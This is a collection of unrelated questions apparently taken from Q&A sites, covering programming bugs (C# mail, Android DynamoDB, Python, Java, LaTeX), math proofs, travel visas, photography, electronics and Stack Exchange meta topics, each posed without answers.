I upload it on server it is not working. The error is : Failure sending mail. please tell me where is the problem.      string username = "abc@gmail.com";        string password = "abc";      SmtpClient smtpclient = new SmtpClient("smtp.gmail.com");     smtpclient.Port = 465;     smtpclient.UseDefaultCredentials = false;     smtpclient.Credentials = new System.Net.NetworkCredential(username, password);     smtpclient.EnableSsl = true;     smtpclient.DeliveryMethod = SmtpDeliveryMethod.Network;     System.Net.Mail.MailMessage mail = new System.Net.Mail.MailMessage();       MailAddress fromaddress = new MailAddress(username);         mail.From = fromaddress;      mail.To.Add("xxxxx@gmail.com");     mail.Subject = ("Test Subject");     mail.IsBodyHtml = true; logic     mail.Body = TextBox2.Text;      try     {          smtpclient.Send(mail);         Response.Write("<B>Email Has been sent successfully.</B>");     }     catch (Exception ex)     {          Response.Write(ex.Message);


Is "'ve to" instead of "have to" correct?

I need your help. So, "have to" instead of "must" is correct, but can I abbreviate this with 've to?  Is this a mistake, or can I use it so???


How many characters have appeared in both Marvel and DC comics?

The  (the character from Guardians of the Galaxy) says that she has appeared in both Marvel comics as Mantis and DC comics as Willow because her creator "took her with him".     After leaving Marvel Comics, writer Steve Englehart carried Mantis' tale through two other companies before returning to Marvel. In DC Comics' Justice League of America #142, she appears as Willow. Asked where she came from, Willow replies, "This one has come from a place she must not name, to reach a place no man must know." (Mantis refers to herself as "this one").   Are there any other examples of a character appearing in both Marvel and DC comics?  Especially if it's because the original creator has switched companies but still wants to utilize the same character, even under a different name?


Null error loading user with DynamoDB (Android)

I'm attempting create my first dynamodb app on android and get receiving a null-pointer error that I can not figure out why.  I've written the following asyntask:  class CheckIfEmailNull extends AsyncTask<String, Void, Void>{          DynamoDBMapper dynamoDBMapper;           @Override         protected Void doInBackground(String... userID) {              AmazonDynamoDBClient dynamoDBClient = new AmazonDynamoDBClient(AWSMobileClient.getInstance().getCredentialsProvider());             this.dynamoDBMapper = DynamoDBMapper.builder()                     .dynamoDBClient(dynamoDBClient)                     .awsConfiguration(AWSMobileClient.getInstance().getConfiguration())                     .build();              userB = dynamoDBMapper.load(SecureUsersDO.class, userID[0]);             return null;         }     }   With the following method to written to initiate it:  public void checkUserEmail(Profile profileTest){          Log.d("checkUserEmail>>>", profileTest.getId().toString());          CheckIfEmailNull checkIfEmailNull = new CheckIfEmailNull();         checkIfEmailNull.execute(profileTest.getId().toString());          if (userB.getUserId() == profileTest.getCurrentProfile().getId()){             Log.d("ID's match: ", "attempting");             if (userB.getEmail() == null){                 Log.d("TODO", "Write code to show we need email");                 Log.d("User B is : ", userB.getFirstName());             }         }     }   Yet i get the following error:  05-19 09:33:37.034 6156-6156/com.ronone.securesender E/AndroidRuntime: FATAL EXCEPTION: main     Process: com.ronone.securesender, PID: 6156     java.lang.RuntimeException: Unable to start activity ComponentInfo{com.ronone.securesender/com.ronone.securesender.HomeActivity}: java.lang.NullPointerException: Attempt to invoke virtual method 'java.lang.String com.ronone.securesender.amazonaws.models.nosql.SecureUsersDO.getUserId()' on a null object reference         at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2778)         at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2856)         at android.app.ActivityThread.-wrap11(Unknown Source:0)         at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1589)         at android.os.Handler.dispatchMessage(Handler.java:106)         at android.os.Looper.loop(Looper.java:164)         at android.app.ActivityThread.main(ActivityThread.java:6494)         at java.lang.reflect.Method.invoke(Native Method)         at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run(RuntimeInit.java:438)         at com.android.internal.os.ZygoteInit.main(ZygoteInit.java:807)      Caused by: java.lang.NullPointerException: Attempt to invoke virtual method 'java.lang.String com.ronone.securesender.amazonaws.models.nosql.SecureUsersDO.getUserId()' on a null object reference         at com.ronone.securesender.HomeActivity.checkUserEmail(HomeActivity.java:180)         at com.ronone.securesender.HomeActivity.onCreate(HomeActivity.java:66)         at android.app.Activity.performCreate(Activity.java:7009)         at android.app.Activity.performCreate(Activity.java:7000)         at android.app.Instrumentation.callActivityOnCreate(Instrumentation.java:1214)   Thanks for any help in advance.


Suppose $(X,d)$ is a metric space, then question is to prove that  $\rho(x,y)=\frac{d(x,y)}{1+d(x,y)}$ is a metric.  This question is from Munkres Topology book.  Hint : If $f(x)=\frac{x}{1+x}$ for $x>0$ us mean value theorem to show that  $f(a+b)-f(b)\leq $ some wierd symbol which i assume to be $f(a)$..  Suppose we prove that $f(a+b)-f(b)\leq f(a)$ then $f(a+b)\leq f(a)+f(b)$. We then have $$\frac{a+b}{1+a+b}\leq \frac{a}{1+a}+\frac{b}{1+b}$$   We have $f'(x)> 0$ so, $f$ is increasing...  We have $d(x,y)\leq d(x,z)+d(z,y)$.. So, we have $f(d(x,y))\leq f(d(x,z)+d(z,y))$ i.e., $$\frac{d(x,y)}{1+d(x,y)}\leq \frac{d(x,z)+d(z,y)}{1+d(x,y)+d(z,y)}$$  With $$\frac{a+b}{1+a+b}\leq \frac{a}{1+a}+\frac{b}{1+b}$$   we have  $$\rho(x,y)=\frac{d(x,y)}{1+d(x,y)}\leq \frac{d(x,z)+d(z,y)}{1+d(x,y)+d(z,y)}\leq \frac{d(x,z)}{1+d(x,z)}+\frac{d(z,y)}{1+d(z,y)}=\rho(x,z)+\rho(z,y)$$  So, all that is left to prove is that $f(a+b)-f(b)\leq f(a)$..  Suppose that $a<b$.. By mean value theorem, there exists $c\in (b,a+b)$ such that $$\frac{f(a+b)-f(b)}{(a+b)-b}=f'(c)=\frac{1}{1+c^2}$$ i.e., $$f(a+b)-f(b)=\frac{a}{(1+c)^2}\leq \frac{a}{(1+a)^2}\leq \frac{a}{1+a}=f(a)$$  Last inequality holds because $a<c$  Suppose that $b<a$.. By mean value theorem, there exists $c\in (a,a+b)$ such that $$\frac{f(a+b)-f(a)}{(a+b)-a}=f'(c)=\frac{1}{1+c^2}$$ i.e., $$f(a+b)-f(a)=\frac{b}{(1+c)^2}\leq \frac{b}{(1+b)^2}\leq \frac{b}{1+b}=f(b)$$  Last inequality holds because $b<c$..  So, in any case we have $f(a+b)\leq f(a)+f(b)$ and we are done..  I just want to know if there are any gaps in this solution..


How to get everything from the list except the first element using list slicing

So I have something that I am parsing, however here is an example of what I would like to do:  list = ['A', 'B', 'C']   And using list slicing have it return to me everything but the first index. So in this case:   ['B', 'C']   I have been messing with stuff like list[:-1], list[::-1], list[0:-1], etc. But I can't seem to be able to find this out.  What I am actual doing is: * I have a error message that has a error code in the beginning such as:  ['226', 'Transfer', 'Complete']   and I want to just display Transfer Complete on a popup widget. Of course I am casting to a string.  Thank you for all help, and if answer differs via Python 2.7.x and Python 3.x.x Please answer for both versions.   Thanks, looked a lot around stackoverflow and python tutorials couldn't really quite get what I was looking for. Thanks for your help!


I'm having some troubles with exercise 10.5.3 a) from Bondy and Murty, Graph Theory, 2008, pp-273 a) Let F be a graph with maximum degree at most 3. Show that a graph has an F-minor if and only if it contains an F-subdivision. I already have the converse, I took the subdivision and by the allowed operations I got an F-minor, but I never used the degree sentence. I'm stucked on proving the direct implication, I don't see how to use the degree sentence again. My idea is starting with the minor and doing exactly the converse operation in the reverse order for the sequence operation done in G to obtain the minor and that should be a graph containing a subdivision of F because the operations that really matters are vertice splitting but again I can't see how the degree sequence is fundamental here. Can someone please help me? Thanks in advance


How to change text font to Helvetica for figure captions only

I am writing a journal in LaTeX in IEEE format. When I make a figure captions it is the same font as the rest of the document (Times). However, I want all the figure captions to be of type Helvetica and of size 8pt. \documentclass[journal]{IEEEtran} \usepackage[utf8]{inputenc} \usepackage{graphicx}  \title{Test} \author{Me} \date{June 2021}  \begin{document} \renewcommand\thepage{10.\arabic{page}} \maketitle  \section{Introduction} \newpage \section{page 1} \newpage \section{page 2} \begin{figure}[h]     \centering     \includegraphics[width=5cm]{example-image-a}     \caption{Caption}     \label{fig:my_label} \end{figure}  \end{document}  Is it possible to make all figure captions font Helvetica and size 8pt throughout the entire document, without changing the font and size of the main text?


Where to find and share Python geoprocessing scripts?

Where are folks storing and sharing their Python geoprocessing scripts?  For example, I know that  has some shared scripts.  ESRI is phasing-out , which is still really handy, and directing people to the .  What other repositories are available for sharing geoprocessing scripts?


I am from Georgia and have a D category long-term Schengen visa but is marked 01 which means that it's a single entry. Am I able to go from Poland to France by plane?


How do I get started with RAW photography?

Having read about the benefits of shooting in RAW as opposed to JPEG (for example ), I'd like to have a go with it myself. However, I'm not really sure how to go about it.  I can turn RAW mode on in my camera (that's easy!), but what do I do with the files when I get them on to my computer? I presume I need to process them to get the RAW data into something that I can work with, but do I need a specific tool for my camera (a Finepix S5100), or will something like the GIMP do what I want? I'm also a little confused about how I then take advantage of the abilities that RAW gives me when I'm processing it on the computer — do RAW processing tools have more processing options than standard tools?


Prove inequality $|\sqrt{x}- \sqrt{y}| \le \sqrt{|x-y|}$

How to prove that $|\sqrt{x}- \sqrt{y}| \le \sqrt{|x-y|}$ ?   Of course, I know that $|\sqrt{x}- \sqrt{y}| \le \sqrt{|x-y|} \Leftrightarrow ... \Leftrightarrow x \le y \quad \text{or} \quad x \ge y$, but for me it isn't a good proof.


kWh per 24hours from system that uses 950W

my friend asked me a questions how much kWh he would get per day around if he is going to buy a power suply that is 1200W and place in the system and system would use 950W as he said  his power suply I really hope you are able to help me :/


Is it grammatical correct that a exclamation links a comma?

"Nothing in her phone indicated she was planning to leave!," Jonie   Barnett said on Facebook.


It seems currently I have two users on Stack Overflow, and I would like to merge them. I have access just to one of them,   But there isn't any way I can access the second one as it's a non-registered user,   As you can see, they share the same avatar and my profile at Meta Stack Overflow contains some links to both Stack Overflow profiles, .  Is there a way of keeping just one profile?


What does a capacitor parallel to a resistor do in the feedback of op-amp circuits?

What is 10Mohm for? What would happen without it?


\documentclass[10pt, a4paper]{article} not working properly

I'm using \documentclass[10pt, a4paper]{article} in my TeX file. It all works fine, except, the lower bound of each page is cut off. So some text is either cut off, or at least the text reaches the very end of the page.  Has anyone experienced the same issue?  Here is an minimal working example:  \documentclass[10pt, a4paper]{article}  \usepackage[utf8]{inputenc} \usepackage{ngerman} \usepackage[cm]{fullpage}  \setlength{\headheight}{12.4pt} \setlength{\headsep}{1.5\headheight}  \begin{document}  \section{a}  asdlkjf sakfj saoekfsalk lksa jfsakfsaoel jfsaoelkfj saoeflksad jfoelksaf sadfoelkjsa f  \section{a}  asdlkjf sakfj saoekfsalk lksa jfsakfsaoel jfsaoelkfj saoeflksad jfoelksaf sadfoelkjsa f  \section{a}  asdlkjf sakfj saoekfsalk lksa jfsakfsaoel jfsaoelkfj saoeflksad jfoelksaf sadfoelkjsa f  \section{a}  asdlkjf sakfj saoekfsalk lksa jfsakfsaoel jfsaoelkfj saoeflksad jfoelksaf sadfoelkjsa f  \section{a}  asdlkjf sakfj saoekfsalk lksa jfsakfsaoel jfsaoelkfj saoeflksad jfoelksaf sadfoelkjsa f  \section{a}  asdlkjf sakfj saoekfsalk lksa jfsakfsaoel jfsaoelkfj saoeflksad jfoelksaf sadfoelkjsa f  \section{a}  asdlkjf sakfj saoekfsalk lksa jfsakfsaoel jfsaoelkfj saoeflksad jfoelksaf sadfoelkjsa f  \section{a}  asdlkjf sakfj saoekfsalk lksa jfsakfsaoel jfsaoelkfj saoeflksad jfoelksaf sadfoelkjsa f  \section{a}  asdlkjf sakfj saoekfsalk lksa jfsakfsaoel jfsaoelkfj saoeflksad jfoelksaf sadfoelkjsa f  \section{a}  asdlkjf sakfj saoekfsalk lksa jfsakfsaoel jfsaoelkfj saoeflksad jfoelksaf sadfoelkjsa f  \section{a}  asdlkjf sakfj saoekfsalk lksa jfsakfsaoel jfsaoelkfj saoeflksad jfoelksaf sadfoelkjsa f  \section{a}  asdlkjf sakfj saoekfsalk lksa jfsakfsaoel jfsaoelkfj saoeflksad jfoelksaf sadfoelkjsa f asdlkjf sakfj saoekfsalk lksa jfsakfsaoel jfsaoelkfj saoeflksad jfoelksaf sadfoelkjsa f asdlkjf sakfj saoekfsalk lksa jfsakfsaoel jfsaoelkfj saoeflksad jfoelksaf sadfoelkjsa f asdlkjf sakfj saoekfsalk lksa jfsakfsaoel jfsaoelkfj saoeflksad jfoelksaf sadfoelkjsa f asdlkjf sakfj saoekfsalk lksa jfsakfsaoel jfsaoelkfj saoeflksad jfoelksaf sadfoelkjsa f asdlkjf sakfj saoekfsalk lksa jfsakfsaoel jfsaoelkfj saoeflksad jfoelksaf sadfoelkjsa f asdlkjf sakfj saoekfsalk lksa jfsakfsaoel jfsaoelkfj saoeflksad jfoelksaf sadfoelkjsa f asdlkjf sakfj saoekfsalk lksa jfsakfsaoel jfsaoelkfj saoeflksad jfoelksaf sadfoelkjsa f asdlkjf sakfj saoekfsalk lksa jfsakfsaoel jfsaoelkfj saoeflksad jfoelksaf sadfoelkjsa f asdlkjf sakfj saoekfsalk lksa jfsakfsaoel jfsaoelkfj saoeflksad jfoelksaf sadfoelkjsa f asdlkjf sakfj saoekfsalk lksa jfsakfsaoel jfsaoelkfj saoeflksad jfoelksaf sadfoelkjsa f asdlkjf sakfj saoekfsalk lksa jfsakfsaoel jfsaoelkfj saoeflksad jfoelksaf sadfoelkjsa f asdlkjf sakfj saoekfsalk lksa jfsakfsaoel jfsaoelkfj saoeflksad jfoelksaf sadfoelkjsa f   \end{document}


Is a semigroup with unique right identity and left inverse a group?

We know that a semigroup with a right identity and right inverse for all elements is a group (e.g. see ). Symmetrically, also a left identity together with a left inverse implies a group. We also know that a semigroup with a right identity and a left inverse is NOT necessarily a group (see ). My questions are:   in a semigroup, is the existence of a UNIQUE right identity together with the existence of a left inverse enough to have a group? in a semigroup, is the existence of a right identity together with the existence of a UNIQUE left inverse enough to have a group?   I think both these claims are false,  ut haven't found a counter-example so far.


Use of reflexive pronoun (you or yourself)?

Given the choice in sentences:        I appreciate the help from both yourself and Bob.    I appreciate the help from both you and Bob.      Which is correct?   I'm stuck because I can't seem to understand reflective pronouns. Can "yourself" only be used when the subject is also "you"?


In how many different ways can you split $10$ people into two groups of $5$ people?

In how many different ways can you split $10$ people into two groups with the same amount of people?  My attempt: Since the order in which you choose someone doesn't matter, I chose to calculate the combinations: $10 \choose 5$


Does steeping the same amount of tea in different volumes of water lead to the same or more caffeine?

If I were to steep the same amount of tea in two vessels of hot water: one 12oz cup and one 24oz carafe, would the 24oz carafe have more caffeine or the same amount? Assume steeping is the same amount of time.


When developing entire sites for clients, is it viable to version control the entire site?

How do you then manage the database? An alternative, of course, is to just keep the themes in version control, and then upload them manually to the site when deploying.  edit: Close this, it's duplicate. I couldn't "flag" it.


I just Install Ubuntu 14.04 LTS, and install the required software, its smooth . But in the mean time, I am trying to install all software by Aptik . and this time , a problem occur. After this , while I installing any software by command line an error message will occur ( just as marked as yellow box in the fig). Similar problem also occurs for installing pulgin . Then there appears a box for repair the same, but while I click for Repair , another error message will occur.  What can I do for such problem. Please help me. Thanks.


incorret number of bindings Python SQlite

I have a list and I am using a for loop to add each item as a column on the same row of this table.  The list has about 60 items.  I am adding each one word at a time but it's trying to count each letter as a separate entry.  What am I doing wrong?  def createTable():     queryCurs.execute('''Create Table WordLogic     (id INTEGER PRIMARY KEY, Noun TEXT, Verb TEXT, Adjective TEXT)''')  def addNoun(Noun):     queryCurs.execute('''INSERT INTO WordLogic (Noun)     VALUES (?)''',(Noun))  createTable() for DBWord in words:     addNoun(DBWord)


Is it possible to control cycles mist pass height like blender internal?

In the blender manual about the mist pass, it is explained that the height intensity of the mist pass can be controlled. This gives the effect that it is more 'cloudy' on the bottom for instance than the top.      Is this effect possible in cycles with the mist pass?


Would like to change directory to the result of which function

The which function returns the full path to some other function, if I'm not mistaken.  $ which ls   # => /bin/ls  But if I wanted to the directory the function is in, how would I do that? I'm thinking of doing something like this:  $ cd $(which ls)  Obviously, that won't work because ls isn't a directory. Perhaps I'm barking up the wrong tree with which?


Ring of rational 2x2 matrices has no proper ideals

I'm trying to prove the ring $R$ of all rational 2x2 matrices has no (two-sided) ideals other than $(0)$ and $R$.   My attempt: Let $I$ be an ideal other than $(0)$. Then there exists some nonzero 2x2 matrix $a \in I$. The proof is easy if $a$ is invertible, because then $aa^{-1} = id \in I$ so $I =R $. I can't prove the result for noninvertible $a$. In order to show $I =R$ when all we know is there exists some noninvertible $a \in I$, we must fine some matrix $b$ s.t. $ba = id$ or $ab = id$ but that is impossible. For instance, take $a = \begin{bmatrix} 1 & 0 \\ 0 & 0 \end{bmatrix}$. No 2x2 matrix multiplies $a$ to give the identity.   Alternatively, we could prove that any nonzero ideal in $R$ must contain some invertible matrix.   I'm not sure how to proceed in either case.


Landsat 5 RGB image looks very dark in QGIS

When I combine B-3,2,1 by "Raster>>Miscellaneous>>Merge" in QGIS 2.14.3 I get very dark looking images but when I use the same bands in Sentinel-2 toolbox it looks much better.  Landsat-8 data works fine with "Raster>>Miscellaneous>>Merge" too.  Any idea/suggestion why is this happening?


I was trying to solve the following inequation: $$ x^2≤16 \Rightarrow x≤\sqrt{16} \Rightarrow x≤4 \text{ and } x≤-4 $$ But the solution given in my textbook is [-4,4], which is only possible when $x≥-4$ and $x≤4$. What have I done wrong?  (Sorry I could not format my question properly, I am new to this site.)


I am reading data from the following csv file:  X   Y   Z 0.1 50  6.951 0.1 60  12.774 0.1 65  17.454 0.1 70  27.842 0.2 50  7.908 0.2 60  12.218 0.2 65  15.601 0.2 70  25.811 0.3 50  9.294 0.3 60  13.184 0.3 65  18.021 0.3 70  27.465 0.4 50  10.817 0.4 60  14.819 0.4 65  17.288 0.4 70  28.82 0.5 50  10.755 0.5 60  15.15 0.5 65  18.997 0.5 70  26.2   This is how I am trying to construct the plot:  \documentclass{article} \usepackage[utf8]{inputenc} \usepackage{pgfplots} \usepackage{tikz} \usepackage{pgfplotstable} \pgfplotsset{compat=newest} \usepgfplotslibrary{patchplots} \begin{document} \begin{tikzpicture} \begin{axis}[grid=major] \addplot3 [surf,shader=faceted, samples=25,domain=0:2,y domain=0:1]  table[x=X, y=Y, z=Z, col sep=comma] {3dData1.csv};  \end{axis} \end{tikzpicture} \end{document}   It generates the following:   It doesn't generate  surface plot.  How can I make it surface plot?


How to prove one has spent time in the non-Schengen European microstates, in order to pause the Schengen clock?

I am considering staying in Monaco, San Marino, or Vatican City before I can enter the Schengen area again. , it is valid to stay in these three micro-states in order to stop the Schengen clock. However, also according to the answer:  Problems will arise when the visitor ultimately leaves the zone and must undergo a Schengen exit inspection. At this point the person may be asked to prove that they are not an overstayer and the border guard will be entitled to see hard evidence in the form of official documentation. There was a case where an individual attempted to show that his mobile phone registered to a tower outside of the zone and this failed obviously: radio waves have no respect for nation borders but also one could mail the SIM card to a friend in a far away land, put in a phone where it registers to the tower and then mail it back. Apparently hotel receipts can be too easily forged to be successful as evidence. What the border guard will want to see is a passport stamp from the local constabulary. But the constabulary is under no obligation to issue one, so success is down to personal impact and articulation skills.  I'm not sure if I could get a stamp from the local constabulary. However, I always use AirBnB to stay, and the reservation email and the mobile app might be far more reliable than a random hotel reservation document. So, does the AirBnB reservation email work as a proof of staying there? Or is there any better document as a proof of staying ("better", in terms of ensuring that I don't pay the overstaying penalty)? I will likely leave the Schengen area ultimately from Frankfurt International Airport.


Editing Incorrect Information in Questions

Edit: This question is specifically not related to code. I'm aware   of the precedent on fixing code mistakes. As there did not seem to be   any established precedent for issues not related to coding, I asked   the question. I don't believe this to be a duplicate, given the   specific nature of the question. However, I suppose moderation is a   (rather lazy) method of answering the question.   In a question, the asker presented information worded such to establish their existing knowledge on a matter in which formed the foundation of their question. However, their knowledge was not exhaustive on the topic. This inexhaustive knowledge seemed to have led to an incorrect conclusion which prompted the question (their actual intent still seems rather ambiguous).  A user then edited the question, changing this to include a more prominent item. However, had the OP been aware of this item they would likely not have come to the incorrect conclusion and would thus seem to invalidate the question.  I rolled back the question, as I believed information that contradicts the question in such a way to resolve it is functionally an answer to the question, and that editing such information into the question itself can not be done without either changing the intent of the question or invalidating it all together. However, a far more experienced user in our beta stated that the question needed (their emphasis) to be edited, as it contained factually inaccurate information.  Was I wrong to rollback this edit?


Currently, I'm working in an international company with many non-native speakers (so am I) but with pretty good level of English, I suppose.  I have noticed that my colleagues usually use phrase "give a hand" when asking for  help or even talking about it and seems to be avoiding the strong word "help".  It looks a bit confusing to me especially after I made people laugh when I said  "I will help you" in one of our conversations, don't remember exact context though...  So could you please describe the difference between them? And is there something wrong or hidden meaning with help-based phrase?


This is my equation. \begin{equation} E$\epsilon$$\epsilon$=V$_$$\epsilon\$=$\Omega$ \end{equation}     These are the errors that I'm receiving Dispaly math should end with $$ Missing $ inserted Missing { inserted  Missing } inserted  You can't use \eqno in math mode     Any suggestions?


Ubuntu boots to GRUB menu and starting Ubuntu leads to black screen

I have a System76 laptop that came pre-installed with Ubuntu.  I have used this laptop for about 1 year now.  It has had no problems and is currently running Ubuntu 13.10.  I turned the laptop on today and it booted to GRUB menu.  When I choose booting Ubuntu or any of the advanced options it goes to a black screen with the fan running.    It worked fine the yesterday and I don't believe I have installed anything new.  I would like to give you more information but I'm not able to get any output from it.  I've tried Recovery Mode but I do not know what to put into the Command Line.    If you have any ideas I would greatly appreciate it. Thanks!!  Edit: I cannot open up a terminal.  Deleting quiet and splash, or adding in nomodeset, still leads to a black screen.  I have NVIDIA, but have been using it for a year.  The only things that work are using CLTR+ALT+DEL to reboot and I can turn of the screen, using Fn+F2.


How to remove the first first occurrence of the specified element in an int array? (java)

I have this method header:  public boolean remove(Object anObject) {....}   I need the body of the method to remove the first occurrence of a specified element from an int array and shift the remaining elements in the array to the left. I have thought about starting with  for (int i = 0; i < arr.length; i++) {      if (arr[i] == anObject)   }   but this is not working as expected. Any help would be great, thanks!


Displaying properties of GeoJSON in popup on Leaflet?

This is my simple GeoJSON with Leaflet map.  I want to display properties as popup but I don't know why it is empty.   Can you tell me my mistake?    <title>A Leaflet map!</title> <link rel="stylesheet" href="http://cdn.leafletjs.com/leaflet-0.7.3/leaflet.css" />


I use the package mathrsfs to get a separate \mathscr. While I like the way it looks, it does not come with a bold version. More specifically, the usual \mathcal is compatible with \boldsymbol and \boldmath (see ), whereas \mathscr is not: \documentclass{article} \usepackage{mathtools} \usepackage{mathrsfs} \begin{document} \[     \mathcal{S}, \mathscr{S}. \] \[     \boldsymbol{\mathcal{S}}, \boldsymbol{\mathscr{S}}. \] \end{document}   Is there an alternative package that provides similar looking letters to mathrsfs, but which does come with a bold version?


Breakout... Getting the ball reflection X angle when htitting paddle / bricks

Im currently creating a breakout clone for my first ever C# / XNA game. Currently Ive had little trouble creating the paddle object, ball object, and all the bricks. The issue im currently having is getting the ball to bounce off of the paddle and bricks correctly based off of where the ball touches the object. This is my forumala thus far:  if (paddleLocation.Intersects(ballLocation)) {     position.Y = paddleLocation.Y - texture.Height;     motion.Y *= -1;      // determine X     motion.X = 1 - 2 * (ballLocation.X - paddleLocation.X) / (paddleLocation.Width / 2); }   The problem is, the ball goes the opposite direction then its supposed to. When the ball hits the left side of the paddle, instead of bouncing back to the left, it bounces right, and vise versa. Does anyone know what the math equation is to fix this?


The inverse of the matrix $\{1/(i+j-1)\}$

Let $n$ be a positive integer. Show that the matrix  $$\begin{pmatrix} 1 & 1/2 & 1/3 & \cdots & 1/n \\ 1/2 & 1/3 & 1/4 & \cdots & 1/(n+1) \\ \vdots & \vdots &  \vdots & \ddots & \vdots\\ 1/n & 1/(n+1) & 1/(n+2) & \cdots & 1/(2n-1) \end{pmatrix}$$  is invertible and all the entries of its inverse are integers. This is an exercise in Hoffman and Kunze's linear algebra book. Any hints will be appreciated!


I have been told that Nagelkerke should not be used in a model of binary logistic regression, but instead a R2 as a measure of goodness of fit. So, how can I apply R2 if I am not using a linear regression. How can I compare 2 or 3 models of binary logistic regression? is there any software?   Thanks!


Characteristic Polynomial $AB =$ characteristic polynomial $ BA$?

Let $A,B$ matrix on $\mathbb{R}$ size $nxn$. How can I prove that $det(xI - AB) = det(xI - BA)$ if $A$ and $B$ are singular matrix


How do I mix two bump nodes and fade from one to the other?

Here is a simple flower bud with a colour pattern using noise and a gradient texture.  Now I want to add two textures, a wave pattern for the petals and a noise pattern for the stem. I have used a gradient into a colour ramp as a kind of mask. The texture settings are set high here just so it's easy to see. Each bump node I have run into the normal input on a diffuse shader (I think the problem is here). Because when I then mix it with the base colour pattern I'm getting the colour data from the diffuse nodes blending with the base colour pattern in the first image.   How can I add these two texture/bump nodes and fade between them in a way that doesn't interfere with the base colour pattern I want to use? EDIT: This question was closed as a duplicate, but the linked question is a different issue. I was able to solve this problem by dragging the colour output from the colour ramp node for the pattern into the diffuse bsdf nodes for each texture. It feels like a messy set-up to me, I think this could be done more elegantly.


Alternative proof to an inequality regarding Apery constant

Prove that:$$\sum_{k=1}^n \frac{1}{n^3}<1.23,$$ without Zeta-Riemann considerations.  I had absolutely no idea, and all my (naive) methods failed. Unfortunately, I am not allowed to use powerful tools in terms of real analysis (fast convergent series of that constant). To be specific, I am interested in a ,,classical solution'', with as little knowledge as possible. A possible o.k. tool is using telescopic sums, and trying to get some range of that sum (this is what I tried). I know this sounds stupid, but these are the requirements. Also, by classical proof I mean a proof that is not assisted by computers, to compute a value of the partial sum, for huge terms. P.S. Thanks for the downvotes, this will motivate me to improve myself.


I have been finding a lot of numbers that satisfy the equation a^2 +b^2 = c^2 +d^2, and I was wondering if there was a way to generate a, b, c, and d, using 2 or 3 starting numbers like m or n. (Basically like how you would generate Pythagorean Triples, just with a twist.) Any help is good help. Thank you for reading.


Do you know how to loop over cartesian products of 100 and 200 in python, such as:  for cartesian(100,200):  print result  1,1 1,2 . . . 123,197 . . 100,200


How to properly connect ESD mat and sockets

I'm covering my workbench with a ESD mat (3100x900mm.) I will also install 4 x ESD Sockets under the workbench (see below.)  I will connect everything to an ESD EU plug:  In the end the mat and sockets will both connect to EU ESD plug. My real question is if there's a problem with that connection. The ESD sockets already have 1Mohm and the EU plug have another 1Mohm, that connection will make a 2Mohm resistance. Plus if I use a wrist band with another 1Mohm resistor that result in a final 3Mohm to earth. Will that decrease the effectiveness, or will be just fine? Result:


How to create a div box with dynamic width based on text content?

I want to create a simple div that shrinks and expands according to the content contained.    <body>   <div style="border: 1px solid red; padding: 15px; width:auto;">     test text   </div> </body>   Result: the red box expands to the full width of the page. Why?


I can't login to chat.meta.stackexchange.com. When I click the login link from inside a chatroom, the page reloads and I seem to be redirected right back to the room, without being logged in. Same when I click the login link from the topbar.  I've tried clearing all my cookies matching stack. This quite effectively logged me out of everything else, but it didn't help my situation on chat.mse. I also tried a , to no effect. I can log in successfully from an incognito window.  Any ideas?  Chrome 40.0.2214.115 on OS X 10.10.


$\{ a + b\sqrt{2} \ : \ a, b \in \mathbb{Z} \}$ dense in $\mathbb{R}$?

I'm guessing $\{ a + b\sqrt{2} \ : \ a, b \in \mathbb{Z} \}$ is dense in $\mathbb{R}$. I'm having a mental block. How do you show that?  (This is motivated by a different hypothesis: if $f$ is continuous with two periods $T_1$, $T_2$, then $f$ is constant if $T_1/T_2$ is not rational.)


application as family for uk visitor visa

I and my family had 10 years UK multiple entry visitor visa which expired about 2 years back.  I want to apply for the same again.    have filled up my application online and saved it.  I want to add my wife and son's application, but I am directed to visa fees payment.  How do I do it?  Do I pay for myself first and then ii would be given a choice of adding each family member?  can I fill all 3 applications under 1 account?


How do I prove that if $(a_{n})$ is bounded and $\sum(b_{n})$ is absolutely convergent, then $\sum(a_{n}b_{n})$ is absolutely convergent?  I tried to consider the sequence of partial sums of $\sum |a_nb_n|$  $S_n=|a_1b_1|+|a_2b_2|+......+|a_nb_n|$


Smallest possible resistance (highest current)

I'm new to electronics and I've been familiarizing myself with some basic formulas, specifically Ohm's law. It seems to imply that if resistance is smaller than 1, let's say 0.00001 Ohm, then I can get 100000 A of current with just 1V of voltage. So is it actually possible (not in just theory) to achieve that kind of current by lowering the resistance, or there's some limitations to how low the resistance can be?


I was trying to install playonlinux on ubuntu 15.10 64-bit, so that I could install adobe ps cc. I have already installed wine from the software center, but I got some errors, here I am attaching the snap.            Talking about the last few lines in second image, "errors were encountered while processing:"   runit git-daemon-run     These are the errors I get after I try to install any application on ubuntu. How ca I fix this issue?


How does deletion affect previous unawarded bounties?

I see  is very similar, but this is discussing bounties that expired and were awarded and may have been refunded by a moderator, not bounties that were never awarded and deleted by the OP.  Similarly, this is not a duplicate of  because there is no mention of the behavior of question deletion and how it affects unawarded bounties which is the key part of this question.  The behavior when it comes to awarded bounties and deletion is clearly spelled out but is not relevant to this question.    Several months ago, I put a 200 rep bounty on  (10K only), but the bounty was never awarded (the question was not my own question, but one for a similar issue I had experienced).  Today, the OP apparently deleted the question on his own, and the unawarded bounty was refunded to me.  I want to ask why, especially when the bounty was so long ago.  I paid for the attention (although the problem still exists), so why should I get my "fee" back just because it was deleted?  The reason I ask is this would appear to be a loophole to allow users who post a bounty and don't get an answer to recover their rep (by getting the question deleted).  My question is ultimately is:   Why is a bounty, which is considered a "fee" for advertising, refunded automatically without manually being refunded (as is suggested by the question I linked) when the question is deleted. What would have happened if this was my own question that had an unawarded bounty (presumably with no answers) and I deleted it myself.  Would it have still refunded my rep? What will happen if the question is undeleted?  Would the refunded 200 rep bounty be un-refunded?   The reason I ask is this would seem to be a loophole that would permit a user to ask a question, post a bounty and if they don't get an answer, allow them to recover the rep via deletion, then undelete or reask the same question, post a new bounty (and repeat until they get an answer).


A good program to write mathematical papers using LaTeX as in this site

Is there a good program, either online or to download, to write nicely mathematical papers using the same LaTeX versions as in mathexchange, or as close to it as possible?  I've seen something called MikTex or Tex Live, but I am not sure whether those are good programs. It would be nice to have the finished files in PDF if possible, though I guess DJVU or even word could be an option.


How Do You Use An Image As The World Background?

